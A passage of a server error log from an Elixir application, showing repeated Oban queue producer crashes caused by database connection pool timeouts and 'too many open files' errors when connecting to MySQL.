  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:09:47.239128Z], limit: 5, uuid: "6959f713-026b-447f-84d0-12547664b830", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:47.239134Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.162175>, refresh_timer: #Reference<0.2525715032.1068498948.48738>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:59.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 808ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:09:47.240452Z], limit: 3, uuid: "adae1c0a-345d-45b1-84b5-2cf38a29c84a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:47.240457Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.49029>, refresh_timer: #Reference<0.2525715032.1099431938.49016>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:59.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 806ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:09:47.240537Z], limit: 50, uuid: "1b7ba2b9-f323-4436-912b-17ed6455344d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:47.240542Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.49030>, refresh_timer: #Reference<0.2525715032.1068498948.48757>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:59.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 879ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:09:47.243745Z], limit: 5, uuid: "ef3878fe-d4f7-4a3c-9bb0-ce4cc6d4e87d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:47.243753Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.48812>, refresh_timer: #Reference<0.2525715032.1068498948.48804>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:59.551000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:10:04.049000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:10:04.305000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:10:04.420000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:10:08.104000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:10:08.688000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:10:08.695000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:10:11.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1042ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:09:59.239179Z], limit: 5, uuid: "f8c2954f-a3c8-4727-bab9-de1eda5872a6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:59.239185Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.162528>, refresh_timer: #Reference<0.2525715032.1077673987.24615>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:10:11.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1031ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:09:59.239811Z], limit: 5, uuid: "a7a0287c-3361-4774-be1b-0906f8795e2c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:59.239816Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.162524>, refresh_timer: #Reference<0.2525715032.1121189889.162516>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:10:11.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1015ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:09:59.238965Z], limit: 10, uuid: "4164c468-16a6-4787-a00c-d61eb14d16f6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:59.238971Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.162527>, refresh_timer: #Reference<0.2525715032.1099431938.49171>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:10:11.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 808ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:09:59.239196Z], limit: 20, uuid: "e767e178-269c-44a4-8b24-1e995a3d3ba5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:59.239202Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.162526>, refresh_timer: #Reference<0.2525715032.1099431938.49180>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:10:11.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 883ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
